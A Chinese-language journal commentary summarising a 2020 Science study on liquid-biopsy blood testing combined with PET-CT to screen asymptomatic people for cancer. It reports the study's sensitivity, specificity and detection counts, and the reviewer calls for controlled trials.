如果初始液体活检结果异常，则进行第二项确认检测。确认检测之后进行注射造影剂的正电子发射-计算机断层扫描（PET-CT），从而确定可能的恶性肿瘤的部位。液体活检提示1.4%的参与者患癌症，0.7%的参与者有患癌症的PET-CT证据，0.3%的参与者有经活检证实的癌症。液体活检联合确认性影像学检查的灵敏度为27.1%，特异性为98.9%，阳性预测值为40.6%。截至12个月时，研究者在该研究人群中诊断出96例癌症，其中26例是首先通过液体活检检出，24例是首先通过癌症标准筛查检出，46例是患者出现症状后检出（在有症状的癌症中，约20%为子宫癌）。不论是何种方法检出的癌症，大部分均为局部或区域癌症。

这项研究表明，在无症状人群中，液体活检联合之后的PET-CT可识别出标准筛查未能发现的早期癌症。灵敏且特异的液体活检有可能在未来成为常规项目，而我认为本研究是通向未来之路的里程碑。然而，由于早期检出癌症不一定明显利大于弊，因此有必要通过对照试验评估这一方法。

被评论文章

Lennon AM et al. Feasibility of blood testing combined with PET-CT to screen for cancer and guide intervention. Science 2020 Apr 28; [e-pub]. (https://doi.org/10.1126/science.abb9601)

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